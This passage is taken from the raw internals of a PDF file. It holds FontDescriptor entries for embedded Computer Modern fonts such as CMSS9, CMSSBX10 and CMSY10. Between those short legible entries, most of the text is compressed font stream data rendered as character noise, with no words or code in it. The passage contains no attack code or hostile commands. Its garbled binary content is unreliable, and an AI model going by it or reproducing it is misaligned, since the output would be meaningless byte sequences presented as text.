,R>+h0JMTUu"Kz4`Md2|8K1IU0a+u$QHGèR69PsvW9{Wlp VRo }izm*ўct[cdEuծ7^r z,+J-_!(^QݹRSMeyţ}}a}:x. ;sN#9> x;@h~?^ZWظ0>灜VSTo;b<_sIa -g2dbLRnlHҸR.Fv|9NbBЭt&ڵ%(벖xٰ8.D,{_YY<&C4>ĎsbrL}zmD{L4},VWw9 &}lqL9cE56B&ݕt#J0ќISiЖ.1l y~.$MPەۛ$s/ CZT9a y}iUHN*+`OGr`s26D?YF D2)iތfNPkp'm@QSپx-{K~H&52 1- ݓl O8ՁˆH~bZ3ITG<3O@N%!h4A5yYN7T.5iSx IqQ V4^|3/rn1DNte-{+/ \^d1*-<;+TD\Rs Fudhr<(LQ0P =z |VOī=k$=:O|?j1 endstream endobj 1267 0 obj << /Type /FontDescriptor /FontName /QFMSVK+CMSS9 /Flags 4 /FontBBox [ -63 -250 1027 760 ] /Ascent 694 /CapHeight 694 /Descent -194 /ItalicAngle 0 /StemV 83 /XHeight 444 /CharSet (/C/D/E/F/I/J/L/P/R/S/U/a/acute/b/c/colon/comma/d/e/equal/f/fi/g/grave/h/i/j/l/m/n/numbersign/o/p/period/q/quoteright/r/s/slash/t/u/v/x) /FontFile 1266 0 R >> endobj 1268 0 obj << /Length1 1635 /Length2 8845 /Length3 0 /Length 9763 /Filter /FlateDecode >>stream xڭeXiKB%FN 遡fiNIiK䝽9y|߽\L , ٹ8@)W$_sq88pkT.VnfH< p_N {)b 9M``@W3@ vr[p`sq,35&% e \NQ&HfB j[bUaZ`7_=ajomo PY (@/@e!NP@S9USzȩ@ZA=<?8@ QqD=fC|9qDH}?]GфCB`,]"2\@X! /m"ĚDD8T|P5:"_fz3"j?r{_O?ˈ-s@<?ɅIp!s~( C8#?i-8ۙ:CHP!qp7. b B"eH" R{#n;7Bb]<#ޡ530s R_eiA iB+BD_'46J@ K5& AW9A\WGF(C9=YͬG tʻ\h3wg~ck8torڔ:;#~ `CĿ)z'mp娠N>ZyQ+ӐZ -!k$H|;N P=]=RzP<@/p?.X/ } Y0WGHpz'e2eMq3`%s|16bl&GM6qq?=(YTGN ~Yf|rdII'vT 7SjCA/0τaYB)ű|4vU>h .* 2]f{Yp@ Q{=c,f> Nu2 $ 7؍J&O`&Z@픡eYX~Qᗇ\i5~_^&2UD@N ,.65OP4ٟQr6Q$pwahJ+bu_JM%#5qdЇ|urR\ KRK~|g2Gzߢ=g.TC^/ɪm|FTZy8{%`[G;W$Oܓ8KlqoOڪmN6EVL) 8ۦY9K?{K_QT x>RD!y_$"%SRkZ3Rw(IuLmxcw+&5#e& Z7dۦM(ڴ?,/}$_Zq`Q5KN0y}*mq!g-cV]QؾӰ5F)_:X]>#1%ŭq>CLFre{e*j\`!WcLK0z.:km,!*?KOjt7mTsG|A0A-᫁SC`Չu-'a†mPf ;)xɴS3Q YN;TFn9¿2]en}FQ&7D⥷c-uoq5-vB%sBKirR cT +8ty k'r~^6W$ӗ|Q}) A&5=av(#: I.*A}(WM]Ot_Epvۀy.P@zOh ي'Fef:e pe2'0TX5}< aaE6ןyj~q1D'X]-8tMQ Nj1AX7];U+>3998uojs! Qu]Q63ynJ# ן4agVʃ;ROcg7\yi1P/~!ih*B-n]?*;(#<.kOohEϪ{6, +Ԁ7ܠ^Cԫmմ3t=J(W fWӃ{JaD:ˣJ˚jND'\ ~.0U]##3rҕw-m,wQL#\s#t{N%[aP+ =InC&,RĩvK%]zj%=ɳ`U0}ڍq&Ff}-|AKP_R)Oq]m=3e@Tqm&e TYDq-Hsb߄x^ Hvl&{k 0l6cUkt 6{WE6(mGb:z͔W kGwh G, ˄'O9,ZMq OÏV'qnPnc|wX2;UٛE u3s(O@1b.G^Jl'1^Ati<,*河Qlz4q؄z 1Qqě#Y>ˆKyƵsŅ=WI9_ۥ_f0&98{/zT [ >_1٠ԕo@Rl)).:8z{tmC>JFG]ܚxb_pHYfkŌVzo;Se/j :zG,4wjo~x~[h)f)&^M'}eP9!o)1HkUrk_ѩ3*%LL;~LgNlC &2k{ch eW10Ҵ %I2b_wf1p=PstFi>tYExݲ =Phv]oXÅqCvMyiS|8b\&J@lkv4nƽ?B - U }$/}o]AZU܏=x7!+6[.Ijʒud ނU\W\ڠ2Ր! ^_3}*o#SokMYR. u7g*f}zkmq @ HwzoV28vv-psr5,+tfl$K }]Yd`b(lGڲ^N"kXl-їV]o.>:X&Xlg9gEZnE&~"DZm0ͮ23:28T$S3>㾎]wr»նF;ץ>(ϋz$H=fX-A~VwzGoNtmGo89 IYT@p"4xa?z;8=ю7o,k -N!t\!-rN3 p-߆+`]aY hQo_i(*y@^2ܲbnn)Hyפǃ^&p~#ak '=G{Z{13I/KrhvDm7`p1HJ2֤!7OR3x)=$Urʕc- ~O% ؞aid 趛l1AJ1`){ >؍TfS~{m%X<ǂkX岣͝kXK%q$BOןa.z jm zh #LQvR.No&_ɛ`]uzy̸,#$kp} u Y1=P2ѩ]. _жM,Ɇ﫤pgJĤnn#|]FPfbSbnuA&I\p ֱzŠvsh|7I{0^9x^Pnid0)+7d.;oy6%Jm{9EqaL Zyy̏r^Yf+ĵvF+L[T!=P\XQ"P@ݻ8"ߚĢ/1ؙ$ "SLE\SSY>_Ҿ" \hjDE:vrEVNBYۀA{\⧖yGe0Q6E6!zQR#vٙ1 KUj̎ḁJh)5i.ք,`^7m]5HsExr+ƫrz!{5`4 `pzkJ U@)VIޑ I?+ͭPC@z޺Ts j{Gk9b^ɾmE_gաY0ʷ/Y ohusH,7&2fPt\UDM[Q"/" I(E+YsȟA6C .F).kmՉ jP&Z_<޼Sb΁~*xVH'{ ~R?3k)8OAd̚=L"2XK/{9`.jhby8uE Y,Bƹwݍy+6q^!{ƐLv(m 9-诃XrpzPތԴ MVE\S$hR!e|Č9r]Ц9}7ԢM,}_n m82{6+Jz@iuԁ"zNUPD=%xuDXDx)Tr_rm~LlD@OM2rxm$+GmwOfOj4& xQv i5N~o5 2sZne;σ쟋~yfZܞ`_b? K :^߇ 28,+nԄ(= w [kŌBULy?7Գuϖvj9)Cr^}1Gq-.'] tLizp%cěa>i7^=o~/*>8^ʨSVdz~> K]k|?QFzflʹ"xBĠǯaT)#6B[.3AA T|1.#\h*zKgK~?WP}Wʇ~-N0Ve6XX &ew/6WO/Fvb ULA dYӂy'2Q' 2@<-4 :x4`$`~ 1KKI-O8 Qv4N5^n2y;GWdA'GqTEp޳9^4pD|?ŅE>nKjK[e- sN=+[AФj&߿xs B~_{d9 Qdp"DuKO!W˥]MT!fjvۄD9;7Sf7l !+NOg͋iV,^V~S-9;kmX/>|r~;ANBԑ5ޖBgp31}8\cQX k.Y˛YЊ׾X'V$YЂЙ~Kx7jǗkN+|KC#}g'R1mOU^O1jPF.~?AU:GmHQ_cSdM+$z-PT' EđNy1?@أvAA\6Ƶd4@o CIQm =Xi;yomf!,–8ˎ Lq (kIc_fZI &6ru1 J tQ77~뵘,q;.3" XC!A%Zr]9auo+ݽ#b_,b1u#mXfA-G&O˺f E` . >ܧ[uиD< ۳FNl]0^E|!tB@rv*%},iԵF 5ngy3tvK +'$Z96 endstream endobj 1269 0 obj << /Type /FontDescriptor /FontName /KQSAKW+CMSSBX10 /Flags 4 /FontBBox [ -71 -250 1099 780 ] /Ascent 694 /CapHeight 694 /Descent -194 /ItalicAngle 0 /StemV 136 /XHeight 458 /CharSet (/A/B/C/D/E/F/G/I/M/N/O/P/R/T/U/V/W/a/acute/b/c/colon/d/e/equal/f/five/four/g/h/hyphen/i/k/l/m/n/nine/o/one/p/parenleft/parenright/period/r/s/semicolon/six/slash/t/three/two/u/v/w/x/y/z/zero) /FontFile 1268 0 R >> endobj 1270 0 obj << /Length1 1204 /Length2 4421 /Length3 0 /Length 5140 /Filter /FlateDecode >>stream xڭu\AC$GIFH`USNAIiE||{sB|Fj0]8JHR)$'Eb,\ (P9 J2הd䩅w_O3 Q+IDB!h>΀BPS  j(^RKI`H(pDSRF;aa8^)AR@Pa(_ D 2j &R>C nw+Do {10'ߩ0$߫X UC; )鿃H/03Bba H[MB?kDc|X7zJ%%?UM hX _j|H/@ap܇ 1X/''_*iE7@zIM}I2)N1Mo&Y7Y3&BP$R$82HB8 B LP A7^³a@bu' R?P$@ @޺ TBZ0۔U ?P' c;! C'>a!.) aADRC޴֧*W(3z6yC] 뺕 ^SP8c/-hn)tNz yFI6je)QcNw\}y XHnK[,<9=:EO1UJj Qog@mK9C fz ލǚua:NSw}fpr>a%侦т nd) $ 7ٓxvfnpiy?I"i=Mf+xXu5Ls0d~0pxU/ I)uh\mr5ϳXJriOpOHt+QdT2?/hJciJnju7-@!=MU͠%h9BFdVGHwQ_\k[vdQY3j;N9TrI=u*rJ5_/ ͚5Gè8W2]4taus(\彚MTLZ@3C곉@6E:\*(.60)9t#;Fflj!j:gkoq]Y nQ/Ŋ,JB-IYC1, =&^K" ieX]<ܒA}G]uɯK=P zU_3UOSfgY.oߑ[iPW 9G4HI+8ڡS[>m*'iHdTaѧjtrV xEkJK %[AJ)[F'dN4N*8p'nuM%NW5Y&lHO'GTҏ{P9u"|sz.83ܞVQ j9M oŞ#{2V96PHxGOT2]~7͋Ri" 0@[tanh~9y}sQƚ/{ۤ}]h?rkn6%dWZ#Z)Yi0 OR8p ߨܻXŪCޅk`K!Y5-,}PA"HHv^em#;[%8>?m~ɏj뻵Pݫ~>wtmGQÑ>w1}GU6l9<'1eNK_Z  x*8:!c/"थũm A%X ;k*ŧVU;([y=,QAGndhDH٢G H+0.mBS*_|akP+o(ټ;빲j<.T+EfwL$!cф+aR/yA>:pgD_[pukLܸA&~jR^o^`xNEŋ/䴞ic٭r5qK2-Zwy1>*.WEks\̤=.\r87,DG(|GG쳣t3{O-OEtgÝ"M]>o+1f@l;ς@fb^S[r9ٚ1RWgo/JrJF6{p8Xа-qN̽cnP.@ͳ"֝GO4Gd-' wn6]]e@[%^"h `(MRԙk9Sū$..S p) ty;CpL{Ib%3e5Ef&zx \G)aUnJ&ؕzpԖ3v[sDyYiOFz-oKq4eK6,* ])>CUuA1;3'W蒧eE5^56_NIIaG^eAZ 1Df%0U0Wh ʣ"A<W;"%5KrjJ3Sl42 }Ög&hET$+Rʷ^6{.v 9 &nɉ  -:xYl2ٺ?3ЍqO 3oDK褉t/\QZ˿Ctvcqbgh}Sb}{mB):ljZƑ'vY< L݅]kL)x ۙ-<~Zd5ю9g*s6]Z)9qgŌ ']eJae<ԠB^ݔe 81՝xʍ8L,RZѐwEamAjhb~KW¦_]YR6Z}~%ĒJm@*YpqZ,(Ӻk}W*rKzWXH`sR[U$F:%}}[wdm`kzuLeآk ~:)=̡[<lj$]=۾NRW7[nOn.P/ZlzO:sL"EKIiOBwsXJC !<\h#GlFn0Yh# gcw" TՋfIvV]bٴ!,xуJ§ӈm$|le'>Yߤft1̦g%K u UGU=PUI]~̏Ð 0v%:S]uOm?7 :> |U 9/dK; 1ITĹz61fke OpD)N*T`+~^TVR{<$ԡ"8COO!y z^|217~OP<V%YՊ endstream endobj 1271 0 obj << /Type /FontDescriptor /FontName /IACVDB+CMSSI10 /Flags 4 /FontBBox [ -97 -250 1077 759 ] /Ascent 694 /CapHeight 694 /Descent -194 /ItalicAngle -12 /StemV 80 /XHeight 444 /CharSet (/D/F/L/M/N/O/P/R/T/U/V/a/b/c/d/e/f/g/h/hyphen/i/l/m/n/o/p/period/r/s/t/u/w) /FontFile 1270 0 R >> endobj 1272 0 obj << /Length1 922 /Length2 2442 /Length3 0 /Length 3044 /Filter /FlateDecode >>stream xڭynY{ ZIT5:0CP608SUP0*L2PAL=52І*fd_:ITtBbHC}5""c  ?)gA:/ X*zHlHx2w,Hc&UED8 =Bf2?L^ҟH<^6K!}| @q }~b Ƀjql ~'PC fM@ч~LuC Qt_)fOfB454`L!qr5 #k`( LaiHcZTf K0'SxUWZ~m!Ԡ| Z_PD0d"_i'™mwMMɴ@5}=@ cІz#S( `<9lXޡ20+*fEb? CQC>Ju7ܳ,%E(qk2 j DA^ UZ92|N ɌV[l=uol~ }v/'7qׅQk ~бG*hw,mHu 8m)1e&vNw^ ,AC?qHw5;ōm=T|cvO?uS6vt ʫ6s ^V1kce' M=Pz1:Bh6WœmXw33,խ:V|YqŽ+ kS9~p>@;]d"9g@]OO}nl2*eA-M(<nvX{N >K^lQ!x=iWigTjYotl.?\䐃rRjc܍-W&\} K&3շqPK8ZsJ G(#t/¸a پ3Bٽ9d}}(\WıZ%e]=w#wNչeOC|1U:^AmiJU;gX5z Ed?Фw?rY:f%eBNsq-QR%QkJxjmM旒۳h:6 ,ީHejKh!z8gQu 6 bz1v9;y` nIHM[?x[8QMn7⏳)]P]_k3 } 4S$"۞^*Դ&\"oGZ /!\$佶3;B%C!u]b2$S9 z7x|UQ7Rᙊo&'<ɨ%԰=pJ7 ͱx)_ #hQ/XgB  &gXN+פW;cw6gaEU4ڝ\oƏ {}6 )3|ThL!H:9rE;Dp$WPg{nQEXoqP-&M Jqo:Ѱ5ڡ$,{RFcмN 탉C- &"O^a,}3<%NlIfM؜GawHkp2 SE*j^w"6IKai5ZA~D.A`a:ڌ{OEnletղ.~,h:̱u$kij6ۆI-(|@mKy{@6-tIB_Z7~UulȷC"" :p1_~$\/́#GNwvn!|NnK4^َlڅ~b} DTTxO8@!OS/+Ap<P6Zc6 ] LUXP* GL}w/KnG(lDt M2 pL~ ^a<5ĽʋQ_n$Dj3ϠX$w%!1YԺZ䫄̽sηw4&Bw`*U_rz?IJ|@%,}9TJ'>JLbd$J ʮ[CYXµg[^XOgkٲ*/rшFf('N5hMqs*z]#E˻oi`ٛKY+>Gswh >v_|7k3}$E['s0/ܨ2i[>mylZ@fGj<Wd̍/C,SMK|]Z=ggf%Tq"M kmё5m^Xim/»#/1 vJ'0ǐ ɮ% I] smzp>(mjFʲjmJ|='DkbvѲyT^_Ғr b=>AS Ǎ"xC%Ż>Y%u_R_U= (s hQbw<-}^'5c@5^sd5 D}jؕt'¨&wd}0V_^uOp*;zm4 橩.1joҬfZh:@eoDX ۨq`6 endstream endobj 1273 0 obj << /Type /FontDescriptor /FontName /COHTJK+CMSSI12 /Flags 4 /FontBBox [ -98 -251 1052 758 ] /Ascent 694 /CapHeight 694 /Descent -194 /ItalicAngle -12 /StemV 78 /XHeight 444 /CharSet (/F/P/a/e/h/l/m/n/o/s/t/u/y) /FontFile 1272 0 R >> endobj 1274 0 obj << /Length1 940 /Length2 2554 /Length3 0 /Length 3163 /Filter /FlateDecode >>stream xڭy<dzteZ,QYXfe0%XC1`3cZ"ٷL-,PE&%{Q]Z~Sw|=sP5"P@4PE!PCQ4 R&8 tuPm= M=6D@Q!4/PD)}iF Ǒk HO!j`҂@D<}d# 73L`RN4:5p-(dR@!0 .ah&d V{' BRPLH)FQi$?f-8oD!*B &;" xHt{$~mw0k_3 *UgĿ pW;ed<@$sBS hw; ""`01LLapܶ)4ȷr} I !pF؂nA `!T_E#n-bna-xѶ } j0侂wƔPooQU hk!Ϥ@2s7{ cΕ=].S[6V_V +GΜ?~F3 kuži-T ?`=n |~-3AW0(y8y-Upg#LIVU<=ҹ1Q=r?`Kfwn"˚죻Y^W8R-mʍ癝o˱2X!KVEHSAmN zDj +rBWp[em;3.* HcU-Ò=tf.Z&4f.ܐ\4 |h,8n;JN:Ch6L4$-'֙HbDRGSg?6춹u6C:~S#mWJ(rtKRs-#c\Ljelh`w }bZ裳vA#=U'QzMBԋ'qQV&7l1̑ R \+ /v@<:r<1DAi9ҟˆ>sN3a$5Z 48~UJqY><,ŵ0 cn;IV;1=B|< Ip~Χ-~N7!D-Se[s?' lإda鑘_eCz.V[Ro-ڷE jm<%-[E~|[xD֫3s^dmG Wkc.$={ !j6,߰;cALO>p,msD:ȅ!QHlDo0SM#h'HyF ߽ 蜘 jnvTJST[eKy|r>ADS\*-ĪUzwF5'dUq*%]_vljF]zjm3R`hU5n~zx$`x ka c=eRv^l#d~RAiug;[D\dkЕzsI^[d:[[Hqxrz"=(ըs,$1DQP={3!zVppPZ/X}'{,5+ߦIFz%viگ('k99%!w'\X]܄]ču-]hC)Y Nг?Zm++ew0/½5ׂ֦[#g%ݎ~O$<5 +%75LǝШԥ<!=$<2FVO4gU`#,l]ĒR>61DIeS^WK>RoG9夂{-Se8M4ǵŠgڕ.kfd_.`]ԾWZ1UTG}*59Zo<0cW'Q9a"bSUT3k1A6H"fZCJ舂my]{s"ӈb%ЬN7K*f GWl&@9uCIj5uɍkN%/﬍dG_yПs 3vAyG~ڗgYb-*͛e&.a=AGsw1hjך7:uƔVmؖd:=`. J\Kfy/KSBe^1l Mn~l'7gj:__\e>lh ^ {8KE9HT卶syK:`[_6ݔY]h>Y&2cF, SUW+S3̏&ҧF-mݗyt\bbq6VTL68ahua9n{ǃ< O^wz(UT4LT~ndv~S`$ݕ_#,K endstream endobj 1275 0 obj << /Type /FontDescriptor /FontName /WMFGHX+CMSSI8 /Flags 4 /FontBBox [ -100 -250 1135 761 ] /Ascent 694 /CapHeight 694 /Descent -194 /ItalicAngle -12 /StemV 89 /XHeight 444 /CharSet (/a/c/d/e/g/hyphen/i/l/n/p/r/s/t/u) /FontFile 1274 0 R >> endobj 1276 0 obj << /Length1 844 /Length2 1277 /Length3 0 /Length 1856 /Filter /FlateDecode >>stream xڭ{<ǭ-2mq J< {qMטy'cgf4eUkkAQ.,DpprІκA^k=|~՝iL?dA,h X9ҼA<b(mm+a.ǚ·L,H$S)!t7M$"B`8,(X̆2aN `@ t/H\9LH@B11Gq4Q@AmOqO3\>kSO2?*?A<ӑ5 xP@_c # L}D!@z?xA$^.㩋5?Dtɼo_ѫ.2̌r\WGA] 1*jb긼b] :\\:FgqJ쨲]d,gMEZa,O4,ka %RuCSj u?\|d}tH7 ¸LZ4=V`~G8rA}Zp).Z95DLեH']C?>%58l3dԂf %+'NW7DJE++i*ֳ߇^7_vG'Dak.y)o[yU\8GA:V =Io]XLّ.'TB/B 23&>iͥs3!bI*/>qgJI9>FK?d >߭j3oo2 SɫOiso%EcѪSJ6mejF}isץ{IU<*kCDGKjcfnRgl⠢UD\zRxIwjMwBθRԜ=D'5f+U5^g>LfE{䐍^Ο>.VރyX"Z?:h&P] d̥Ƽ")߿po;xO ^..ž%!a:]w2t$iU8Б2 ^%E*,X1dg`VKGZRNϗrYO9,"}*/%UN:vy8궧I<]cPp$x4s~(%[ѳDj>^WKKy[v98L7sOW=<\57"Qf$^L #tkJv>`.^6Ԭ AO44 7 [ܩP8_6_6rHܸ6f7RTާsrz)Sނʹ9TֿG[^e22:ۤYP)q./g&TZy^tl,6]WgzsLF\jnP}r0G[ѿu Z' VZjX[zKO#$5\Nj=6!B]\ &>УW6[`(V5xxoԹ7Q0̳Cܴ1+&Ud.L_$$tVBV0IAM*}WFV endstream endobj 1277 0 obj << /Type /FontDescriptor /FontName /VXSPEQ+CMSY10 /Flags 4 /FontBBox [ -29 -960 1116 775 ] /Ascent 750 /CapHeight 683 /Descent -194 /ItalicAngle -14 /StemV 85 /XHeight 431 /CharSet (/arrowdblboth/arrowdblright/arrowright/bar/lessequal) /FontFile 1276 0 R >> endobj 1278 0 obj << /Length1 753 /Length2 683 /Length3 0 /Length 1206 /Filter /FlateDecode >>stream xڭkPWU`M6@M j0 jYvOB $hTT"(XZ NT((N.Ud T8ſy.ċ$**u@@(T(9(hh( f=@1 ɥ @d[YJ_ߘIFRN5e@#߃ !(Y0@&B( )POP clb4gr!k⡀/xD V@B@gA#T "mt*`H),[@> (-<d Ɔ &Oga ޽RXEb(@B[c$, in𙼩u#Hz"l{{LTx"cڥzt{gKZܳ.XC-g*5bmCF|cZr︷H~lw`s#eJŭnyq^ϧNus֩<쩼бM]o}!j[5HՂkknj{=k(`A*%&;㖓@U\@qe[y,,0XU6my_wr݁r|̣qUԟ"h4Oy mD~0>gx'NuM.}ŕ^KZ&TY> endobj 1280 0 obj << /Length1 754 /Length2 707 /Length3 0 /Length 1227 /Filter /FlateDecode >>stream xڭ{PWuX"ꔇQDM!`!B %1#f7.H$0(EE萢bi-HFhuc-v:N~9@_mJ`2`Cs(:s9@ 0PB#z6(P3*YLDDLL̒YQd@,c4Pc\3p) NBΌEy`̆ EAȀ$-hdDŽV2A6!#_Hmi!H:DHe1@JA. H9bf8XaKBbVxY19.Fd2?FȲ~>䃄0u]x^kζ}#Ů/[u~auIXR5s}3]j78'$[QcłݓbαwOsZj^h1q7UZavBIpn^]bm%F|@4m=fCy9JOp۵yk{iS}[ؗ6_H? F<)ճ#*ƿmcnw P|RbCZa5ߝzX c>*v8⻇gy1nџ/9OnGSm{dI˺Rhp_RquZ7s;{č֬:Ը`ա?+u<PN:n]e]c o#MVXC9&5X޳䥢X{mo蔎T$pL-=7Qղ0m=uZfy(4̵8U.$t+ DUW&!bk7L endstream endobj 1281 0 obj << /Type /FontDescriptor /FontName /HJLAUA+CMSY9 /Flags 4 /FontBBox [ -30 -958 1146 777 ] /Ascent 750 /CapHeight 683 /Descent -194 /ItalicAngle -14 /StemV 87 /XHeight 431 /CharSet (/arrowdblright) /FontFile 1280 0 R >> endobj 1282 0 obj << /Length1 1561 /Length2 9281 /Length3 0 /Length 10178 /Filter /FlateDecode >>stream xڭe\-)-t - C39twHtHJwtI;纎^~1xwS+2 %lA`FV&V>+ EJh|V^^6 PDm,ZQ6@ cC@l06[nLakk?#h„ 00f 4ILm68L:T- `4EaVvB!뿋K8Y[+S_6nakc:mM[<濽`Ck ca5o+Dll;8eL[tsR,)%/#?/fDY0t=]~YпOᅳmM,@f6N. @ ]@W`f&-`jωr1x!nbR,82 ,O?TvPCf18U Oth? 124r6t4cJ3qB3mw-,P&!t=?С}@ۘ cjW?n['!f!t?83ٙVYP !t:^OJAf?͠ _nX?nhd 430X8aX58+t? w~) ={x.zrBm*bW_]_]dfወغz0r9+Vx0c'VzT]( ɍA%^y0"fM1 u]0օòZeio1vv\ھ*8Iyu6Mso&ҺHw۱?z'HIv~_YDVLm2n].n-4kZjvr̄8q/`o KmNyH9D- xV>ݭD^v2SWvVl-.vNltlD`o@2 t#>ryL+G @"+tc N~2Mq= ?ifc ^D_)`+b 0tR&i|Ʈb`b)qf箅E؍ik\yş{/3PޯG&+x4BDJ/0uH V9dଈ%,>9kPE%` 7.EkP.ev_=}o"AǞ$L z;=asPũoec\9 OY3ڨoS3[4}gj|\gկ |ë9ST"OO8p~s@v &'gνֺB ?޺d:FL(4{Ve87c@cN@y"JnNQX,`GX}E^Me~-?B׆4Q~Gh~p~?l 㨄Z)/QE6ym7z 4C)[ ԨՉ")HvcT)ao.x!Ԣ:1Q?pOUb7GC$O-,m!L J/m[*Ka0hgτ? yOc#*UQ0A(5Kx*uE?M#~?Ӧa.1`Rfo3P#DgT6rgfȡfʇdl夑}yGz`D%%^ vo-/]ɠ2 u?kO&ev(r]s/q]vYc{`lAmN"kSV3שb#=B;߬$-Z_n~bzEݚE\$aTJeѡy3RR' @>5!5>Jݔa35cThx$:$?Nb*:C:*5:kQoZ6ẎFYc&9AM _GAIKV"tX2!y9"˷7gfs_3=~˕>ϊcاT^s)ɶdQzj!a{eNX˰ЪA8n︊Bm׻4AFqsg}cE~@W*I\*5lxO1a!b]ՑS\X{Ƿ]);R<`cf-<)*O'PJ?ȥ.qQ01+F#Z%%tbG8@?wuFZֶ[mO:ӄ a *Q?.yAYoP\~,8ՒE/W&P qmڼbwe7DIB#}crQFZ\^$sK% H|1Ҕݬ(j~}+/?PŭrNeVRy 9 $6?gp4/҄K=&._7Ӄ.Un+qٔm gqE4!,񿹌oUE|N:b̀ldb)e:}%sgˡ{N# a\ {ju1+oR 欂3)N\:Y:dy1i5$F9yjh9KE[#胥y?ݟ"? }67J,!t!`kWwWPܫ }*^21\ۥ4{ITmVRhGQ`=d5:於kx'p.d2yb!3&\FS8%i3ӏ 7kL *^=i$F K~?1a+c&.!~.A@81znsj/ (~3;j[ЏF{TLe eItF;Ķ6CzEne #PmB景T,'/ VYM_߾oE֯xTRbǏ8r~1j2wԶ&YoQL/5Nvukhֵ<9 Xű!u k43L>+UڀdʦEv{Z)$5L7L UB5kU]]R8@^ ȸF`]VT/{zӟ#c3%ǵzT7N6_I| m&*0Tw~'>/+uu {J܀32id/o*y_)|9j+..%L^[dz&JA; \fNU)CS\/- KRIP%[OywԜ]@ͅ0Zp$(4X@Ou$ 5$ꋁ5Yz6`RnG27O5ݫ3?%bg&~;CJ >y4ɎG zXs{jIc{ R^+umSfvunU7|`[wfߐ\&㥇NJ@ݨGBL_wD'ݔ9Q9 & gS[bBFP)NۣЫ< ]Wn%}0R 3v]ӼO53c"[-\lU d^NE9ϩI%0\MJz*T|MɃrُo$;myI0EVŧ؞\Lq?0Fl#Z\I@R?gvsG>YLZKYŌ{"B"u C3'ȵ,MFhI C_CS@XU!jB J3~/׍~.2%ho,ss96zSͻ~%}e]X )lS_2|3}}`$DZ$'6DZ`-?\rb+yXRË{s!)tdO㼻+Br&Q-SVV"or@A.k1[<= K*badh31gg@Ly:^o^+t%45r2vTxk-Pq"-ܷ͸}5v럩X|ᇿ,BD$ -zQbgXUvk7 0'ТB#򚘔, -3snEB5Թ߳dA{X ]6&Swbydf3zNۘjnl=U t.->PA} ʆYNӷύJkV_Jp`l I mhSfIh 1\ڼ6~!6;P$MD~>'I:m~ Lo:;I ~iH&~k6gVN::c{cT-7@)\CZͯ Qo\yK%U3Qv|m{ݿ5X4["Nx4#+;! DFZ2NUsR,Hmϧ~V Gs 19Z{3$Ys9KANONDk sh'!L!dNuuZGz/H zWz,' _Le7O $]'h #?ÕГ0 Ha<)Ӟ;d/rSA|13lZw$nF>4׮5cQEgX_jCkưQl:Մߩ39#z)X EoI!)Hg"=U-t.&՚b8Xty tO؊>9qAa/QHRzbq!_=o(іgM9_Q*$+nr8)։"{tӵW td "GV^C(Jk i w_xpqKye{C(O;N/ U/h&,.D}3V$Po ##;Yk8!YK@̎xVg +fo1 X>dR_IpיǢPDlwn:^3Gy}#BI޴U^^ڠ\1C|n!ʈvnˋ(E1p+ QA_.܊يvyu%KSk rj#i4U8g!67J1p_tS[Oi=8%Ċz(X~yu*dVcz > zUb-8~I &ύA7Cuu$k27Rrh=.Z{=q~G|QHcx*񉁑#e uS iEmtNjvia9Dxv[0l:ӄudqq0 b|9](oZJP-kQEKt&1\S}%bjhOte¾]xHI\C7 3>s:[\ggR:gvkZcidG%+F(rđqH;ASp3aQ8'8 &?JRA7]FkI$G%nl47YxXw,Wp`}SI q%tR˅ uу![͑?׬p̔*/eH F|2ޕiW Ϟ89#nZ\ChHBnfnZ4QIw c+<[1peL/\`2Mw&.RCQhSAĹN̔?Gm6O AqH:E[&EU|L:}] O//$Y9ǝ0| )Im.2tWxVo]T57`&A$B%Q:;;ȗzHc?dž`qV'qq1j[}IOjj$!An@;}|/jR@ϰM?9nxh}ŠT7#ToC^~V]m5qFY4Bl+8mlʇK<,[ o8KUAPVSͯM*4GUbqΫe@A1+!6/S&{>7!E֚[4:9t4&w]b~ߗsyT~IrGxjt,T f`5_F>V]WsoI&n"O}5NзV!CKnd׿:% iz[Z<`o~QPdr{+bOLGi0\ 7` Ƚ44E\9X-S3a;mhNE~L(ET;̷lNMN3Mj/W[mM.EVU5oZ`chJ ߔ- }ks &,OڽUb?Z#_g($ (c*52:NDž09(:׌I6T?}kTs\|,27ܭf {xW!s!}%F$<6M)W9xz9kb^rF.e n֫O'LB;d7%]F%FkOMæ7襣{mBihaxT+˃$M ?ܧ0xuD, ?Q}i_rs(p-;=Bn}/$3c垼z=*"C4P P+WfTĘx"NjXiipo1 Ũ!!&co_I뼵/gDOOu DA愊6.ovԣ <g?KmCLQ7zM!pSN|fJǁl7qҏ wDG_)NoiGe0DgFgcaW!bʈ.шF]k'q/7 ^pbNDFƖ|5 0rC޽ $R}Wj:~_4*[?L1X؄)g/ݏGӟhdr`EIz-Wi+&"E5HkކufwfD}nW[:^KJs}~b 1f`"ئ<&g>F~Q_RBmЪ2v*-T@=Eܣ=P-\&qiE=˳d~Y,ی^H 7W|W^̼ЄW='Y xHT BdaKe^oMs cFpZ 'e< ;4at倁~VNtqIXvKhDSdΐO&E쭢չxczqFWl"48#L3υ Z?LYYJ>'ԧp܈ÿ͒|3w5KAv!+7oF\l$Ǵig){עT8b =G! &HTV"$]Js* 4E/2nc~^ }WT%$Gq# |ʿUM2.*F/ /Qp|Z3Cɹɓ/T u@ vɉJ&5"5Ii0!Z(`9؅$` |7=p-#}mQe2w8=)mfɴIn3zD&K?C?_0.[N9κh!ZdžƔF; K^ۑ*=<3NbfίW,=2 wB&څyJ5z#:we}ʔT q/:%'fu}*Ay:`̈́2D[c |Қ^t0 RtcFo9ow~e6)2> endobj 1284 0 obj << /Length1 1521 /Length2 8304 /Length3 0 /Length 9193 /Filter /FlateDecode >>stream xڭeXkARD:cF e:IA@xfe~+:u69,waҪ:: ;'ˀ\B  j x8y1PO' Q ~ b\vf [6 vdHphNn`sv `1s-! R6:vr0E2͡s WCԿ˹ڪ*אd 5;;T6U9^E-L qx5 .fV'W`{k? 84T$5X4@{Ofp CNvNN <?7C99<1'^77{pPx > pHeR!s8~7C7T~z5_RYiJ_p]I0i"D4&g29AUN_'"_b k.dKI&͞y"8A z,srl/plsd[s#[tp`"?B tCWa/r$DQ]MJMR4NM~֜㏌*vgYGM&hLF 0 P-mGj|I;8L?? 0~7zFsH[0",1J9ł#Rp3Y8ϖuO$EסfbYc­ϊ%%Ӟ5@KҚ>β ~^ׇarw >´8Jaµ5vŵ't}ґjZK\-}a=^'3G;zU uFETw/MglNtN)RA>4}ˆx *!8oK6${fVvC_2b7"u4nj~ sַ<jS7_HBk6mbIv,/ t.?)[vPP(&{.k )trR kjY*q+JLא lr8& ӹ$h 